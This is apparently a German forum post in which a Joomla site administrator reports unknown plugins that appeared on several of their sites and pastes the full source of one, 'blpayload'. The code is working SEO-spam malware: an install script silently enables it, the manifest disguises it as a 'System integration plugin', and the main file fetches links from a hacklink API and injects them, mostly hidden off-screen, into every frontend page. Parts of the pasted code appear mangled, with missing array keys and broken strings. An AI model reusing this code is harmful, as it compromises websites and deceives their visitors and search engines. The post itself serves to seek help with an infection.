Hallo Martin, unter plugins/System/blpayload hat es drei Dateien abgelegt, ebenfalls 3 Dateien unter jcachepro nach der gleichen Logik.
Ich habe jetzt schon 5 Seiten gefunden mit diesen Plugins. Alle zu einem Zeitpunkt installiert, wo ich sicher nichts gemacht habe.
Hier der Inhalt der Dateien blpayload :
install.php
<?php
defined('_JEXEC') or die;
use Joomla\CMS\Factory;
class PlgsystemblpayloadInstallerScript {
public function install($parent) { $this->enablePlugin(); return true; }
public function update($parent) { $this->enablePlugin(); return true; }
public function postflight($type, $parent) { $this->enablePlugin(); }
private function enablePlugin() {
try {
$db = Factory::getDbo();
$db->setQuery("UPDATE #__extensions SET enabled=1, ordering=9999 WHERE element='blpayload' AND folder='system' AND type='plugin'");
$db->execute();
} catch (\Exception $e) {}
}
}
blpayload.xml
<?xml version="1.0" encoding="utf-8"?>
<extension type="plugin" group="system" method="upgrade">
<name>System - BL Payload</name>
<version>1.0.6</version>
<creationDate>2026-03-01</creationDate>
<author>System</author>
<authorEmail>admin@localhost
<description>System integration plugin</description>
<scriptfile>install.php</scriptfile>
<files>
<filename plugin="blpayload">blpayload.php</filename>
</files>
</extension>
blpayload.php
<?php
defined('_JEXEC') or die;
use Joomla\CMS\Plugin\CMSPlugin;
use Joomla\CMS\Factory;
class PlgSystemBlpayload extends CMSPlugin
{
private $cacheTime = 1800;
public function onAfterRender()
{
$app = Factory::getApplication();
if ($app->isClient('administrator')) {
return;
}
$body = $app->getBody();
if (empty($body)) {
return;
}
$linksHtml = $this->getBacklinksHtml();
if (empty($linksHtml)) {
return;
}
$body = str_replace('</body>', $linksHtml . '</body>', $body);
$app->setBody($body);
}
private function getBacklinksHtml()
{
$site = $_SERVER ?? '';
if (empty($site)) {
return '';
}
$cacheFile = JPATH_CACHE . '/plg_blpayload_' . md5($site) . '.html';
if (file_exists($cacheFile) && (time() - filemtime($cacheFile)) < $this->cacheTime) {
return @file_get_contents($cacheFile);
}
$apiUrl = '
api.hacklink.pw/api/get_backlinks?url=
' . urlencode($site);
$data = null;
if (function_exists('file_get_contents') && ini_get('allow_url_fopen')) {
$ctx = @stream_context_create([
'http' => [
'timeout' => 5,
'ignore_errors' => true,
'user_agent' => 'Mozilla/5.0'
],
'ssl' => [
'verify_peer' => false,
'verify_peer_name' => false,
]
]);
$data = @file_get_contents($apiUrl, false, $ctx);
}
if (!$data && function_exists('curl_init')) {
$ch = @curl_init($apiUrl);
@curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => 5,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_USERAGENT => 'Mozilla/5.0'
]);
$data = @curl_exec($ch);
@curl_close($ch);
}
if (!$data) {
return '';
}
$json = @json_decode($data, true);
if (!$json || empty($json)) {
return '';
}
if (!isset($json) || !is_array($json) || empty($json)) {
return '';
}
$placement = isset($json) ? $json : 'hidden';
$aggressiveness = isset($json) ? $json : 'high';
// Aggressiveness: limit link count
$links = $json;
$total = count($links);
switch ($aggressiveness) {
case 'low':
$links = array_slice($links, 0, max(1, (int)($total * 0.3)));
break;
case 'medium':
$links = array_slice($links, 0, max(1, (int)($total * 0.6)));
break;
// high = all links
}
$html = '';
switch ($placement) {
case 'hidden':
$html = $this->renderHidden($links);
break;
case 'footer':
$html = $this->renderFooter($links);
break;
case 'content':
$html = $this->renderContent($links);
break;
case 'sidebar':
$html = $this->renderSidebar($links);
break;
case 'multi':
$html = $this->renderMulti($links);
break;
default:
$html = $this->renderHidden($links);
}
@file_put_contents($cacheFile, $html);
return $html;
}
private function cleanUrl($url)
{
// Remove trailing slash from root domain:
domain.com/
->
domain.com
return preg_replace('#^(https?

/[^/]+)/$#', '$1', $url);
}
private function buildLink($link, $style = '')
{
$url = isset($link) ? htmlspecialchars($link, ENT_QUOTES, 'UTF-8') : '';
$anchor = isset($link) ? htmlspecialchars($link, ENT_QUOTES, 'UTF-8') : '';
$dofollow = isset($link) ? $link : true;
if (!$url) {
return '';
}
$url = $this->cleanUrl($url);
$rel = $dofollow ? '' : ' rel="nofollow"';
$styleAttr = $style ? ' style="' . $style . '"' : '';
return '<a href="' . $url . '"' . $rel . $styleAttr . '>' . $anchor . '</a>' . "\n";
}
// Hidden: per-link inline style, no wrapper div
private function renderHidden($links)
{
$style = 'position:absolute;left:-9999px;opacity:0;font-size:1px;';
$html = '';
foreach ($links as $link) {
$html .= $this->buildLink($link, $style);
}
return $html;
}
// Footer: visible links in footer-style div
private function renderFooter($links)
{
$html = '<div style="font-size:11px;color:#888;padding:15px;text-align:center;border-top:1px solid #eee;">';
foreach ($links as $link) {
$html .= $this->buildLink($link);
}
$html .= '</div>';
return $html;
}
// Content: visible links in content-style div
private function renderContent($links)
{
$html = '<div style="margin:25px 0;padding:15px 20px;background:#f9f9f9;border-left:3px solid #ddd;font-size:14px;line-height:1.6;">';
foreach ($links as $link) {
$html .= $this->buildLink($link);
}
$html .= '</div>';
return $html;
}
// Sidebar: visible links in sidebar-style div
private function renderSidebar($links)
{
$html = '<div style="padding:10px;font-size:12px;background:#fafafa;">';
foreach ($links as $link) {
$html .= $this->buildLink($link);
}
$html .= '</div>';
return $html;
}
// Multi: mix of hidden + footer visible
private function renderMulti($links)
{
$total = count($links);
$hiddenCount = max(1, (int)($total * 0.7));
$hiddenLinks = array_slice($links, 0, $hiddenCount);
$visibleLinks = array_slice($links, $hiddenCount);
$html = '';
// Hidden portion: per-link inline style
$style = 'position:absolute;left:-9999px;opacity:0;font-size:1px;';
foreach ($hiddenLinks as $link) {
$html .= $this->buildLink($link, $style);
}
// Visible portion: footer-style div
if (!empty($visibleLinks)) {
$html .= '<div style="font-size:11px;color:#888;padding:10px;text-align:center;">';
foreach ($visibleLinks as $link) {
$html .= $this->buildLink($link);
}
$html .= '</div>';
}
return $html;
}
}